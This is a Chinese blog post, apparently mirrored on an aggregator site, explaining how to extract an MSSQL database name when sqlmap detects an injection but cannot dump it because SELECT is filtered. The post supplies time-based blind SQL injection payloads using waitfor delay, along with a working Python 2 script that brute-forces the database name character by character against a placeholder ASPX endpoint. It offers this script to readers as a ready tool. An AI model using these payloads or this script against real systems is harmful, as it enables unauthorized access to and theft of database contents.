zoukankan      html  css  js  c++  java
  • 【实战】sqlmap显示有注入却无法爆出库名

    sqlmap爆mssql数据库时采用的语句如下图:

    从语句中不难看出,如果关键字select被“(非tamper绕过)处理”了,那sqlmap是无法爆出数据库的,这时我们可以使用原始的猜解法,

    #判断数据库和用户名长度
    '+if(len(db_name())=%s)+waitfor+delay+'0:0:5'--
    '+if(len(user_name())=%s)+waitfor+delay+'0:0:5'--

    #循环注出数据库和用户名
    '+if(ascii(substring(db_name(),%s,1))=%s)+waitfor+delay+'0:0:5'--
    '+if(ascii(substring(user_name(),%s,1))=%s)+waitfor+delay+'0:0:5'--

    分享一个最近用的时间延迟盲注爆库名脚本(手工测下库名长度):

    import urllib
    import urllib2
    import time
    payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
    header = { 'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'  } 
    values={}
    print 'Start to retrive database:'
    user= ''
    
    for i in range(1, 20):
        for payload in payloads:
            startTime=time.time()
            try:
                values['action']='getvideo'
                values['pc_mob']='GP'
                values['years']="' if(ascii(substring(db_name(),%s,1))=%s) waitfor delay '0:0:5'--" % (str(i),ord(payload))
                data = urllib.urlencode(values)
                url = "http://www.xxx.com/operation.aspx"
                geturl = url+'?'+data            
                request = urllib2.Request(geturl,headers=header)
                response = urllib2.urlopen(request)
                if time.time()-startTime>5:
                    user+=payload
                    print 'the database is:'+user
                    break
                else:
                    print 'dumping database...'
            except Exception,e:
                print e
  • 相关阅读:
    查看Ubuntu操作系统位数 Anny
    no such file to load zlib when using gem install Anny
    Error: shasum check failed for /tmp/npm1316662414557/13166624159930.13772299513220787/tmp.tgz Anny
    Future接口的应用
    ScheduledThreadPool
    弄了个群
    阻塞与中断
    获得CPU个数
    文件路径问题
    一个日志服务器的框架
  • 原文地址:https://www.cnblogs.com/peterpan0707007/p/9524213.html
Copyright © 2011-2022 走看看